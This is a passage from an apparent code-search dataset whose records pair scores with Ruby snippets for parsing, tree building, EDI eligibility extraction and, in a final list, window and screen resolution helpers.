"3a1f9bca4d16bc949bf68e6f12662b5e", "score": "0.4433618", "text": "def parse_treeinfo_into_discattrs(text)\n discattrs = {}\n text.each_line do |line|\n if line =~ /^family = (.*)$/\n fam = $1.chomp\n if fam.chomp =~ /CentOS/\n discattrs[:family] = \"CentOS\"\n elsif fam.chomp =~ /Red Hat|RHEL|RedHat/\n discattrs[:family] = \"RedHat\"\n end\n elsif line =~ /^version = (.*)$/\n discattrs[:version] = $1.chomp\n elsif line =~ /^arch = (.*)$/\n discattrs[:arch] = $1.chomp\n end\n end\n discattrs\nend", "title": "" }, { "docid": "b536b87c5e357322b5fba113656501a0", "score": "0.44297713", "text": "def build_tree\n current_node = nil\n \n @dictionary.each do |word|\n current_node = @root_node\n (0...word.length).each do |i|\n chr = word[i]\n previous_node = current_node\n if current_node.children.length > 0\n current_node.children.each do |child|\n if child.value == chr\n current_node = child\n break\n end\n end\n \n end\n if current_node == previous_node\n new_node = PolyTreeNode.new(chr)\n #we should be using PolyTreeNode function 'add_child' instead of shoveling\n current_node.children << new_node\n current_node = new_node\n end\n end\n end\n end", "title": "" }, { "docid": "b45b179d085e03d5027bf8c919e3aab5", "score": "0.44232255", "text": "def generate_labels\n node_dict = {}\n @info_2_ids.each_key do |conv_info|\n next unless conv_info.converted\n\n make_dot_entry node_dict, conv_info\n end\n # sort the nodes by reverse doc id\n node_dict = node_dict.sort.reverse.to_h\n\n # produce the string with all node entries\n node_dict.map do |_k, v|\n v\n end.join(\"\\n\")\n end", "title": "" }, { "docid": "b84ae215e676a0a9f004206635843fb2", "score": "0.44167522", "text": "def run_through_segmentation(sample_input)\n @str = sample_input\n set_initial_values\n split_string\n\n while mid_string? == true do\n one_letter_to_collection_array\n\n if valid_word?(@word) == true\n if check_skip_counter == true\n add_one_to_iterator\n skip_counter_off\n next\n else\n add_word_to_hash\n empty_collection_array\n add_one_to_iterator\n end\n\n else\n add_one_to_iterator\n\n if reached_end_of_string? == true\n empty_collection_array\n skip_counter_on\n\n delete_final_word\n find_new_i_from_prev_word\n end\n end\n \n end\n return_final_array\n end", "title": "" }, { "docid": "52bc421802d40f5fd72075c94e89f1ac", "score": "0.44163138", "text": "def test_decision_tree(tree, sparse_data, labels)\n # classify every document in data using the tree:\n classifications = []\n sparse_data.each do |doc|\n classifications << ( classify( tree, doc ) )\n end\n correct = 0\n labels.size.times do |i|\n if labels[i] == classifications[i]\n correct = correct+1\n end\n end\n correct / labels.size\nend", "title": "" }, { "docid": "0c17b00d6145e9bff83b508b0b1f70c5", "score": "0.44140285", "text": "def referent_labels(context_obj = @current_context_object)\n ref_meta = context_obj.referent.metadata\n result = OpenStruct.new\n\n type_of_thing_key = ref_meta['genre']\n type_of_thing_key = context_obj.referent.format if type_of_thing_key.blank?\n type_of_thing_key = type_of_thing_key.downcase\n\n a_key = type_of_thing_key\n if a_key == \"journal\" && ref_meta['atitle'].present?\n a_key = \"article\"\n end\n result.atitle = I18n.t(a_key, :scope => \"umlaut.citation.genre\", :default => \"\")\n\n c_key = type_of_thing_key\n c_key = 'journal' if c_key == \"article\"\n c_key = 'book' if c_key == \"bookitem\"\n result.title = I18n.t(c_key, :scope => \"umlaut.citation.genre\", :default => \"\")\n\n return result \n end", "title": "" }, { "docid": "9bd62b4ec40ac20d37eba6fab6095322", "score": "0.44096574", "text": "def tokenize\n @i_hash = Hash.new\n @t_hash = Hash.new\n\n @instructions = data.split(\"..\")\n @instructions.each do |instruction|\n instruction = sanitize_strings instruction\n instruction = instruction.gsub(\"\\r\\n\", \" \")\n t_n = get_type(instruction)\n @t_hash[t_n[:type]] ||= []\n @t_hash[t_n[:type]] << instruction\n @i_hash[t_n[:name]] = instruction if !t_n[:name].nil?\n end\n end", "title": "" }, { "docid": "73fa4c5f639d02da3242531da0c624d2", "score": "0.44050014", "text": "def labels_from(s)\n h = {}\n s.scan(LABEL_REGEX).flatten.each_slice(2) { |k| k.first.downcase!; h.store(*k) }\n h\n end", "title": "" }, { "docid": "0dc88c11807c4d4f885ddb24da97d6e8", "score": "0.4404854", "text": "def split_tags_and_words(tagged_example)\n tags = []\n words = []\n tagged_example.each do |tag,word|\n words << word\n tags << tag\n @tags << tag # add it in case we haven't seen this tag yet.\n end\n return tags, words\n end", "title": "" }, { "docid": "dbbf99358d54584008d11ae9697f6082", "score": "0.44025573", "text": "def add_children(words)\n words.group_by { |w| w[0] }.each_pair do |letter, list|\n if letter.nil?\n self.children << Node::NULL\n else\n n = Node.new(letter.dup)\n self.children << n\n n.add_children list.map { |w| w[1..-1] }\n end\n end\n end", "title": "" }, { "docid": "90d0bd09fafc5c279b57935fab658ce3", "score": "0.43976283", "text": "def parse_to_tree\n node = @root\n @tokenized.each do |e|\n if e.match(/^<[\\/].+>/)\n node = node.parent\n node.children << TagNode.new(e, Tag.new((e.match(/<(.+?)>/).captures[0]), nil, nil, nil, nil, nil), node, [])\n elsif e.match(/^<img.+?>|^<hr.+?>|^<!doctype.+?>/)\n node.children << TagNode.new(e, Tag.new((e.match(/<(.+?)>/).captures[0]), nil, nil, nil, nil, nil), node, [])\n elsif e.match(/<.+>/)\n node.children << TagNode.new(e, parse_tag(e), node, [])\n node = node.children[-1]\n else\n node.children << TagNode.new(e, Tag.new('text', nil, nil, nil, nil, nil), node, [])\n end\n end\n end", "title": "" }, { "docid": "025b4b6158c78fb3bc7bf6c63f66a2f9", "score": "0.43922797", "text": "def explode_hierarchical_strings(array_of_strings, delimiter = ':')\n split_arrays = array_of_strings.map { |s| s.split(delimiter) }\n result = arrays_to_hierarchy(split_arrays)\n result.flatten.uniq\n end", "title": "" }, { "docid": "823443027aa88aed70099384c1bb687e", "score": "0.43913117", "text": "def handle_file_dictionary\n\n # Won't work for some cases:\n # return unless onstack? 'FLocat', 'file', 'fileGrp', 'fileSec' # leftmost is towards top of stack, très confusing!\n #\n # we came up with case of multiply nested fileGrp, e.g.\n #\n # mets => fileSec { }\n # mets => fileSec => fileGrp { USE => \"VIEW\", VERSDATE => \"2007-06-21T14:30:26.374Z\" }\n # mets => fileSec => fileGrp => fileGrp { }\n # mets => fileSec => fileGrp => fileGrp => file { CREATED => \"2007-06-21T14:30:26.421Z\", GROUPID => \"pg001view\", ID => \"pg001m1\", MIMETYPE => \"image/jpeg\", USE => \"VIEW\" }\n # mets => fileSec => fileGrp => fileGrp => file => FLocat { LOCTYPE => \"URL\", href => \"METSID-1\" }\n\n # TODO: need wild card for onstack? to make sure we're under fileSec!\n\n return unless onstack? 'FLocat', 'file', 'fileGrp'\n\n # stack text\n # ----- ----------\n # [-3] <METS:fileGrp USE=\"index\">\n # [-2] <METS:file GROUPID=\"GID1\" ID=\"FID1\" SEQ=\"1\" MIMETYPE=\"image/jpeg\">\n # [-1] <METS:FLocat LOCTYPE=\"OTHER\" OTHERLOCTYPE=\"SYSTEM\" xlink:href=\"FI05030701_cover1.jpg\" />\n # </METS:file>\n # ...\n # </METS:fileGrp>\n\n flocat_element, file_element, file_group = @stack[-1], @stack[-2], @stack[-3]\n\n if not file_element['ID']\n warning \"METS file element #{file_element.inspect} doesn't have an ID, skipping.\"\n return\n end\n\n if not flocat_element['href']\n warning \"METS FLocat element #{flocat_element.inspect} doesn't have an href, skipping.\"\n return\n end\n\n fid = file_element['ID']\n\n data = Struct::MetsFileDictionaryEntry.new\n\n data.sequence = file_element['SEQ'] #\n data.href = Utils.xml_unescape(flocat_element['href']) #\n data.mimetype = safe_downcase(file_element['MIMETYPE']) # expected 'image/jp2' etc.\n data.use = safe_downcase(file_group['USE']) # expected limited set: 'archive', 'thumbnail', 'reference', 'index'. In general we'll only be using the last two (image, ocr)\n\n @file_dictionary[fid] = data\n end", "title": "" }, { "docid": "02e858cb044fdfae6df847534f3f598b", "score": "0.43834397", "text": "def create_hash(data, _basename)\n words = Hash.new\n return words if !data\n\n parent = Array.new\n previous_key = 'base'\n data.split(\"\\n\").each do |w|\n next if w.strip.blank?\n\n (key, value) = w.split(':', 2)\n value ||= ''\n shift = (key =~ /\\w/) / 2 - parent.size # Determine level of current key in comparison to parent array\n key = key.sub(/^\\s+/, '')\n parent << previous_key if shift > 0 # If key is child of previous key, add previous key as parent\n (shift * -1).times { parent.pop } if shift < 0 # If key is not related to previous key, remove parent keys\n previous_key = key # Track key in case next key is child of this key\n words[parent.join(':') + ':' + key] = value unless key.blank?\n end\n words\n end", "title": "" }, { "docid": "3f3b567cdaeb1ad0bea086c21f929f07", "score": "0.43804973", "text": "def extract\n machine = @parser\n isa = nil\n machine.first.flatmap do |isa_l| \n isa = isa_l\n break\n end\n \n data_hash = {}\n\n # First CHECK to Make sure we have received a valid response\n isa.iterate(:GS) do |gs| \n gs.iterate(:ST) do |st|\n st.iterate(:HL) do |hl|\n if hl.element(1).map(&:node).map(&:value).fetch(nil) == '3' # 3 = Patient Type User\n aaa = hl.find(:NM1).fetch(nil).find(:AAA).fetch(nil)\n debug_log aaa.inspect\n if aaa\n Rails.logger.error \"EDI Failure Text Below: \\n #{@edi_content}\"\n return {}\n end\n end\n end\n end\n end\n\n eb_counter = 1\n isa.iterate(:GS) do |gs| \n gs.iterate(:ST) do |st|\n st.iterate(:HL) do |hl|\n if hl.element(1).map(&:node).map(&:value).fetch(nil) == '3' # 3 = Patient Type User\n insured = {}\n el(hl.find(:NM1), 1){|e| insured[:party_type] = e }\n el(hl.find(:NM1), 2){|e| insured[:party_individual] = e }\n el(hl.find(:NM1), 3){|e| insured[:party_last_name] = e }\n el(hl.find(:NM1), 4){|e| insured[:party_first_name] = e }\n el(hl.find(:NM1), 5){|e| insured[:party_middle_name] = e }\n el(hl.find(:NM1), 6){|e| insured[:party_prefix_name] = e }\n el(hl.find(:NM1), 7){|e| insured[:party_suffix_name] = e }\n el(hl.find(:NM1), 8){|e| insured[:party_id_type] = e }\n el(hl.find(:NM1), 9){|e| insured[:party_id_value] = e }\n \n n3 = hl.find(:NM1).fetch(nil).find(:N3)\n\n el(n3, 1){|e| insured[:party_address_line_1] = e }\n el(n3, 2){|e| insured[:party_suite] = e }\n\n n4 = n3.fetch(nil).find(:N4)\n\n el(n4, 1){|e| insured[:party_city] = e }\n el(n4, 2){|e| insured[:party_state] = e }\n el(n4, 3){|e| insured[:party_zip] = e }\n\n dmg = n3.fetch(nil).find(:DMG)\n\n el(dmg, 2){|e| insured[:party_date] = e }\n el(dmg, 3){|e| insured[:party_gender] = e }\n el(dmg, 4){|e| insured[:party_marital_status] = e }\n \n data_hash[:insured] = insured\n end\n \n hl.find(:NM1).fetch(nil).iterate(:EB) do |eb|\n eligibility = {}\n el(eb, 1){|e| eligibility[:eb_code] = e }\n el(eb, 2){|e| eligibility[:coverage_level_code] = e }\n el(eb, 3){|e| eligibility[:service_type_code] = e }\n el(eb, 4){|e| eligibility[:insurance_type_code] = e }\n el(eb, 5){|e| eligibility[:plan_coverage_description] = e }\n el(eb, 6){|e| eligibility[:time_period_qualifier] = e }\n el(eb, 7){|e| eligibility[:monetary_amount] = e.to_f }\n el(eb, 8){|e| eligibility[:percent_as_decimal] = e }\n el(eb, 9){|e| eligibility[:quantity_qualifier] = e }\n el(eb, 10){|e| eligibility[:quantity] = e.to_f }\n el(eb, 11){|e| eligibility[:authorization_indicator] = e }\n el(eb, 12){|e| eligibility[:in_plan_network_indicator] = e }\n el(eb, 13){|e|\n #Special Processing for procedure codes\n code = e.split('|')[1]\n value = e\n value = @hcpc_codes[code] if @hcpc_codes[code] \n eligibility[:medical_procedure_identifier] = value \n }\n if true \n # pp eb.successors\n end\n\n dtp_counter = 1\n eb.iterate(:DTP) do |dtp|\n el(dtp, 1){|e| \n value = e\n value = cms_label( eligibility[:service_type_code], value) \n eligibility[:\"date_time_period_qualifier_#{dtp_counter}\"] = value \n }\n el(dtp, 3){|e| eligibility[:\"date_time_period_#{dtp_counter}\"] = e }\n dtp_counter = dtp_counter + 1\n end\n\n ref = eb.find(:REF)\n el(ref, 1){|e| eligibility[:reference_id_qualifier] = e }\n el(ref, 2){|e| eligibility[:reference_id] = e }\n el(ref, 3){|e| eligibility[:reference_description] = e }\n\n msg = eb.find(:MSG)\n el(msg, 1){|e| eligibility[:message] = e }\n \n ls = eb.find(:LS).fetch(nil)\n if ls\n related_parties_counter = 1\n ls.iterate(:N1G) do |nm1|\n eligibility[:related_parties] = {} if eligibility[:related_parties].nil?\n related = {}\n el(nm1, 1){|e| related[:party_type] = e }\n el(nm1, 2){|e| related[:party_individual] = e }\n el(nm1, 3){|e| related[:party_last_name] = e }\n el(nm1, 4){|e| related[:party_first_name] = e }\n el(nm1, 5){|e| related[:party_middle_name] = e }\n el(nm1, 6){|e| related[:party_prefix_name] = e }\n el(nm1, 7){|e| related[:party_suffix_name] = e }\n el(nm1, 8){|e| \n value = e\n value = \"CMS NPI\" if value == 'CodeList.external(537)'\n related[:party_id_type] = value\n }\n el(nm1, 9){|e| \n related[:party_id_value] = e\n }\n eligibility[:related_parties][:\"related_party_#{related_parties_counter}\"] = related\n related_parties_counter += 1\n end\n end\n\n if eligibility.blank? == false\n data_hash[:\"eligibility_or_benefit_#{eb_counter}\"] = eligibility\n eb_counter = eb_counter + 1\n end\n end\n end\n end\n end \n data_hash\n end", "title": "" }, { "docid": "da38713b69001465722f575177064859", "score": "0.4375335", "text": "def create_input(input)\n nodes = []\n all_edges = {}\n input.each do |line|\n arr = line.split(/\\s+/)\n source_label = Integer(arr.shift)\n if nodes[source_label - 1].nil?\n nodes[source_label - 1] = Node.new(source_label)\n end\n source = nodes[source_label - 1]\n until arr.empty?\n linked_label = Integer(arr.shift)\n if nodes[linked_label - 1].nil?\n nodes[linked_label - 1] = Node.new(linked_label)\n end\n dest = nodes[linked_label - 1]\n key = \"#{source_label}-#{linked_label}\"\n key2 = \"#{linked_label}-#{source_label}\"\n if all_edges[key].nil? && all_edges[key2].nil?\n all_edges[key] = Edge.new(source, dest)\n end\n end\n end\n\n all_edges = all_edges.map do |k, v|\n v\n end\n\n all_edges.each do |edge|\n source_node = nodes[edge.origin.label - 1]\n dest_node = nodes[edge.dest.label - 1]\n source_node.edges << edge\n dest_node.edges << edge\n end\n [nodes, all_edges]\nend", "title": "" }, { "docid": "831120d8ecf18d30665e699a5db5eff6", "score": "0.43746987", "text": "def parse_structure_handle(h)\n case h.to_s[0]\n when '/'\n f = h[1..-1].sub(/;.*\\z/, '')\n { file: f }\n when '='\n d, p, n, e = *h[1..-1].split(/&lt;|\\{|\\[/)\n return nil unless n\n f = File.join d, p.split(/\\./), n\n e = e ? File.join(e.sub(/\\^.*\\z/, '').sub(/~[^;]+;.*\\z/, '').split(/~/)) : nil\n e ||= File.basename(f, '.java') if f.ends_with? '.java'\n { file: f, directory: d, package: p, name: n, element: e }\n else\n nil\n end\nend", "title": "" }, { "docid": "956f9d886810bfc0a72273ca708cd3a5", "score": "0.43723363", "text": "def initialize(*args)\n if args.size == 2\n @label = args[0]\n @children = args[1]\n elsif args.size == 1\n if args[0].class == Hash\n h = args[0]\n @label = h[:label]\n @children = []\n if h.has_key?(:children)\n h[:children].each do |child_hash|\n @children << ParseNode.new(child_hash)\n end\n end\n else\n @label = args[0]\n @children = []\n end \n else\n raise \"Invalid arguments to ParseNode initializer.\"\n end\n end", "title": "" }, { "docid": "36acfacbf71333980e077fc1c03ccdd3", "score": "0.43722737", "text": "def example_div_parse(node, out)\n out.div **example_div_attr(node) do |div|\n example_label(node, div, node.at(ns(\"./name\")))\n node.children.each do |n|\n parse(n, div) unless n.name == \"name\"\n end\n end\n end", "title": "" }, { "docid": "ea6b48f832f41f5c6874988ce203e57f", "score": "0.43703383", "text": "def extract_string(node); end", "title": "" }, { "docid": "249b03a4c67f08bb48867cbed63fdc7b", "score": "0.4369824", "text": "def visit_label(node); end", "title": "" }, { "docid": "249b03a4c67f08bb48867cbed63fdc7b", "score": "0.4369824", "text": "def visit_label(node); end", "title": "" }, { "docid": "24075dba3f8c7bfe9156cdf838695ed4", "score": "0.43662825", "text": "def process(input)\n document = Nokogiri::XML(input)\n scores = {}\n\n lemmas_hash = build_lemmas_hash(document)\n polarities_hash = build_polarities_hash(document)\n overall_score = get_overall_score(document)\n\n if overall_score\n scores[:overall] = overall_score\n end\n\n lemmas_hash.keys.each do |topic|\n score = get_topic_score(topic, lemmas_hash, polarities_hash)\n\n if score\n scores[topic] = score\n end\n end\n\n return scores\n end", "title": "" } ]
cf8c9de1879b87af2660f6f0dc5dd2b6
Return the editor resolution
[ { "docid": "01c09b1437f220dbc07821116e081987", "score": "0.8264241", "text": "def editors_resolution\n @window_scale = 1\n @running_in_full_screen = false\n @viewport_offset_x = 0\n @viewport_offset_y = 0\n return [640, 480]\n end", "title": "" } ]
[ { "docid": "892babf7178bbee9736c620fa41363a7", "score": "0.69930214", "text": "def choose_best_resolution\n return editors_resolution if running_editor?\n\n native = @native_resolution.split('x').collect(&:to_i)\n @viewport_offset_x = 0\n @viewport_offset_y = 0\n if @running_in_full_screen\n desired = [native.first * @window_scale, native.last * @window_scale].map(&:round)\n all_res = Graphics.list_resolutions\n return native if all_res.include?(desired)\n\n if all_res.include?(native)\n @window_scale = 1\n return native\n end\n return find_best_matching_resolution(native, desired, all_res)\n else\n return native\n end\n end", "title": "" }, { "docid": "bf30d098beece01cca425bcfd5dbb15c", "score": "0.6710119", "text": "def resolution\n MtkGrid.grid_to_resolution(file.file_name, grid_name)\n end", "title": "" }, { "docid": "380585a15f026948c14ee47d2ccb6305", "score": "0.6342864", "text": "def resolution\n return nil unless video?\n \n \"#{width}x#{height}\"\n end", "title": "" }, { "docid": "c72ea40bca61cfc8299e608133961930", "score": "0.6058354", "text": "def video_input_resolution\n @video_input_resolution\n end", "title": "" }, { "docid": "edaf7a44a10666c41a922ac66257da3e", "score": "0.59537864", "text": "def window_size\n manage.window.size\n end", "title": "" }, { "docid": "edaf7a44a10666c41a922ac66257da3e", "score": "0.59537864", "text": "def window_size\n manage.window.size\n end", "title": "" }, { "docid": "ea23ca9812dae036d37bf75fdd702022", "score": "0.59532464", "text": "def video_output_resolution\n @video_output_resolution\n end", "title": "" }, { "docid": "6edfa800954fd9b0778d5220b56105cf", "score": "0.5943418", "text": "def system_resolution; 8 end", "title": "" }, { "docid": "1a84762d1aeabbc09bd3789bb3d5e0d9", "score": "0.58426154", "text": "def resolutions\n @resolutions ||= {}\n end", "title": "" }, { "docid": "6032666193876c2ea53870d9e1b578f4", "score": "0.5836962", "text": "def utmsr\n self.screen_resolution\n end", "title": "" }, { "docid": "b61ed274a19058f0219b138a6d707ec9", "score": "0.58302855", "text": "def resolution (zoom)\n @initial_resolution / (2**zoom)\n end", "title": "" }, { "docid": "40f7a72fe5e4dbdbdd59befc57c021cd", "score": "0.5779528", "text": "def dimensions\n ha = []; wa = []\n Ncurses::getmaxyx @win, ha, wa\n [wa[0], ha[0]]\n end", "title": "" }, { "docid": "69162682e7114acb2ba9b2d25a12830f", "score": "0.57656825", "text": "def load_editor_settings\n theme = Sketchup.read_default('MSPhysics', 'Editor Theme', DEFAULT_THEME).to_s\n font = Sketchup.read_default('MSPhysics', 'Editor Font', DEFAULT_FONT).to_i\n wrap = Sketchup.read_default('MSPhysics', 'Editor Wrap', DEFAULT_WRAP).to_s\n print_margin = Sketchup.read_default('MSPhysics', 'Editor Print Margin', DEFAULT_PRINT_MARGIN) ? true : false\n editor_size = Sketchup.read_default('MSPhysics', 'Editor Size', DEFAULT_EDITOR_SIZE.inspect)\n @editor_theme = theme\n @editor_font = font\n @editor_wrap = wrap\n @editor_print_margin = print_margin\n begin\n @editor_size = Kernel.eval(editor_size)\n if !@editor_size.is_a?(Array) || !@editor_size.x.is_a?(Fixnum) || !@editor_size.y.is_a?(Fixnum)\n @editor_size = DEFAULT_EDITOR_SIZE.dup\n end\n rescue Exception => e\n @editor_size = DEFAULT_EDITOR_SIZE.dup\n end\n end", "title": "" }, { "docid": "e661e0488784e89084409b7154ea0ef2", "score": "0.57337725", "text": "def editor\n self['EDITOR']\n end", "title": "" }, { "docid": "55f04f64a417df310630ed2ac83ff0fc", "score": "0.5704441", "text": "def requested_image_resolution\n return resized_image_resolution unless resized_image_resolution.nil?\n original_image_resolution\n end", "title": "" }, { "docid": "96f31acb363fabc01fa5c725485daec4", "score": "0.5670521", "text": "def resolution(zoom)\n (180 / 256.0) / 2**zoom\n end", "title": "" }, { "docid": "a0332025f8a3339e61abb2da32969cda", "score": "0.56524587", "text": "def size\n { :rows => TermInfo.screen_lines, :cols => TermInfo.screen_columns }\n end", "title": "" }, { "docid": "b133ea949a625f8818d100f1f2fb455d", "score": "0.56469387", "text": "def editor\n editors.first\n end", "title": "" }, { "docid": "8ae1267241fb62a45f84ad2d7d7946fa", "score": "0.5642536", "text": "def get_window_size(text)\n rect = self.contents.text_size(text)\n self.width = [240, rect.width].max #min of 240\n return rect\n end", "title": "" }, { "docid": "f0bfeca9f656afdc5f9e2455787c2fa0", "score": "0.5638379", "text": "def resolution (zoom)\n return 180 / 256.0 / 2**zoom\n end", "title": "" }, { "docid": "d6701098c1abe2d43b581c9de35fb91f", "score": "0.55973244", "text": "def screen_size\n @screen_size ||= {\n width: 264,\n height: 176\n }\n end", "title": "" }, { "docid": "9c81069f2fff3419ed58e8ac9c016226", "score": "0.55872", "text": "def original_image_resolution\n @original_image_resolution ||= ScreenResolution.new(width: image_width, height: image_height)\n end", "title": "" }, { "docid": "e4a65e67cca80cbb4d86ca0f99515028", "score": "0.55862176", "text": "def max_resolution\n parse('drone.max_resolution')\n end", "title": "" }, { "docid": "1706d57834b7d5e5be98d7993039f961", "score": "0.5574361", "text": "def document_dimensions\n [document_width, document_height]\n end", "title": "" }, { "docid": "bf2fe9c3a2a49b65ba0d5bbafbec809c", "score": "0.556597", "text": "def window_rect\n @driver.window_rect\n end", "title": "" }, { "docid": "b529ea8229db964427b752f1dac36fb7", "score": "0.55458385", "text": "def screen_width\n return execute_script('return screen.width;')\n end", "title": "" }, { "docid": "b529ea8229db964427b752f1dac36fb7", "score": "0.55458385", "text": "def screen_width\n return execute_script('return screen.width;')\n end", "title": "" }, { "docid": "1eb6dd80c87e8d84724f50316611aa7f", "score": "0.5544545", "text": "def window_width\n 140\n end", "title": "" }, { "docid": "347c0c7643fa9d269d464c89cfc4d00b", "score": "0.5540947", "text": "def screen_y\n return 464\n end", "title": "" }, { "docid": "347c0c7643fa9d269d464c89cfc4d00b", "score": "0.5540947", "text": "def screen_y\n return 464\n end", "title": "" }, { "docid": "7a5778a3c59a99aa5abe72eec51a5d8e", "score": "0.5538156", "text": "def size\n @bridge.getWindowSize\n end", "title": "" }, { "docid": "5e04747267df93eae927446fd564b3cb", "score": "0.55247813", "text": "def dimensions\n rows = []\n cols = []\n @win.getmaxyx(rows, cols)\n rows = rows.first\n cols = cols.first\n [rows, cols]\n end", "title": "" }, { "docid": "64e946f8b2ea124d1654367d0bc42c2d", "score": "0.5524535", "text": "def width\n return @def.width\n end", "title": "" }, { "docid": "1bf0f39706d4f586cedd5582b4d78523", "score": "0.5514973", "text": "def editor_name; end", "title": "" }, { "docid": "1bf0f39706d4f586cedd5582b4d78523", "score": "0.5514973", "text": "def editor_name; end", "title": "" }, { "docid": "9159126bf00c81b33c78860fc7d3b4b1", "score": "0.55030626", "text": "def get_window_width_and_height\n `stty size`.scan(/\\d+/).map { |s| s.to_i }\n end", "title": "" }, { "docid": "3ccdaa335675a759aeb4d181de030130", "score": "0.5497144", "text": "def viewport\r\n return @window.viewport\r\n end", "title": "" }, { "docid": "ee350d55ae4759572c3219eb5ff91f7f", "score": "0.54918414", "text": "def size\n @bridge.window_size\n end", "title": "" }, { "docid": "76c83110aa2920eddc4ff336a178cd96", "score": "0.5475681", "text": "def editor_name\n File.basename(Pry.config.editor).split(\" \").first\n end", "title": "" }, { "docid": "f64cd16038a124de9ad5e09f5d2f25fe", "score": "0.5475158", "text": "def window_height\n 248;\n end", "title": "" }, { "docid": "47663d61ee9062416c6c61cf749c8e17", "score": "0.5459277", "text": "def window_height\n return WINDOW_HEIGHT\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.54562944", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" }, { "docid": "5221d8b123c7c813ee26873466ac7179", "score": "0.54548377", "text": "def data_resolution\n gcmd.resolutions? ? gcmd.resolutions : []\n end", "title": "" }, { "docid": "fdd73ed93f52919f4bef61d0684241eb", "score": "0.54458827", "text": "def browser_width\n\t@browser.execute_script(\"return window.innerWidth\").to_i\nend", "title": "" }, { "docid": "0ca0a4be711beae66afd6689ca949dbf", "score": "0.5435668", "text": "def current_editor\n @current_editor\n end", "title": "" }, { "docid": "0e84ac3b327bd890e3bb672639030dca", "score": "0.5428868", "text": "def screen_width\n run_script(\"return screen.width;\")\n end", "title": "" }, { "docid": "b28ebc73d37c0eb00529b4257febdbdc", "score": "0.54280645", "text": "def cursor_height\n return 28\n end", "title": "" }, { "docid": "2542b977fc23d567a77d8b3dba8fff10", "score": "0.5410181", "text": "def contents_height\n Graphics.height\n end", "title": "" }, { "docid": "1cc3e9f006ad82c49dfaff6bc398d885", "score": "0.5402828", "text": "def browser_width\n @width + 8\n end", "title": "" }, { "docid": "d41a3ca327020209356fdc834bf9c02c", "score": "0.5400695", "text": "def screen_width(); end", "title": "" }, { "docid": "9de155f760d2379f8afa469621ed718a", "score": "0.5397153", "text": "def window_width\n 150\n end", "title": "" }, { "docid": "51c023aa155f264fbc351a91866dfa78", "score": "0.5394768", "text": "def window_width\n return 240\n end", "title": "" }, { "docid": "20100feb78cdc288c90818ba408b59cb", "score": "0.5390244", "text": "def size\n Inkblot.screen_size\n end", "title": "" }, { "docid": "2ef8df9d6af98c4b8ba4f3bee0c7ad4a", "score": "0.5389431", "text": "def savefile_height\n @savefile_viewport.rect.height / visible_max\n end", "title": "" }, { "docid": "c17c61ff3d43bbcbe3f4cc8e18048c4b", "score": "0.5384962", "text": "def window_width\n 140\n end", "title": "" }, { "docid": "8ec6f8815f21634314da2c676c80f930", "score": "0.53752035", "text": "def screen_height(); end", "title": "" }, { "docid": "0dde7391de97f7d8637ea9de2a597989", "score": "0.53596824", "text": "def resolution(zoom)\n RESOLUTION / (2 ** zoom)\n end", "title": "" }, { "docid": "3b2b2da326f7f98547713137afeac7d7", "score": "0.5343706", "text": "def get_dimensions\n STDOUT.winsize.map { |d| d - 1 }\n end", "title": "" }, { "docid": "5422368d5244e3d775e429ce33e7ede9", "score": "0.5328254", "text": "def preferred_width; nil; end", "title": "" }, { "docid": "c6f7d176dda51ef4da162196c61e671a", "score": "0.5322712", "text": "def window_width\n 500;\n end", "title": "" }, { "docid": "9e7c80ca0b63844e99f22b9ba827ca66", "score": "0.5315196", "text": "def dpi\n return @dpi\n end", "title": "" }, { "docid": "9e7c80ca0b63844e99f22b9ba827ca66", "score": "0.5315196", "text": "def dpi\n return @dpi\n end", "title": "" }, { "docid": "62caf51d8614e78877b140f8c33e5dad", "score": "0.5312602", "text": "def window_size(handle=handle)\n [$AUTO_IT.WinGetPosWidth(handle, \"\"), $AUTO_IT.WinGetPosHeight(handle, \"\")]\n end", "title": "" }, { "docid": "66b3c5ea40ff9c598e2d5412ec085680", "score": "0.53071487", "text": "def get_dest_area\n raise \"not set layout yet\" if part.part_layout.nil?\n size = part.viewport_size\n raise \"no viewport set\" if size[:w] < 1 or size[:h] < 1\n return size[:w], size[:h]\n end", "title": "" }, { "docid": "8f068bd2f1608e096f77820886607d73", "score": "0.5305325", "text": "def width\n screen_width - 20\n end", "title": "" }, { "docid": "5680cf140da505e7267116d402254579", "score": "0.5302522", "text": "def size\n console.winsize\n end", "title": "" }, { "docid": "efef04b48afd78557f81fe59092ff7ff", "score": "0.5299448", "text": "def width\n 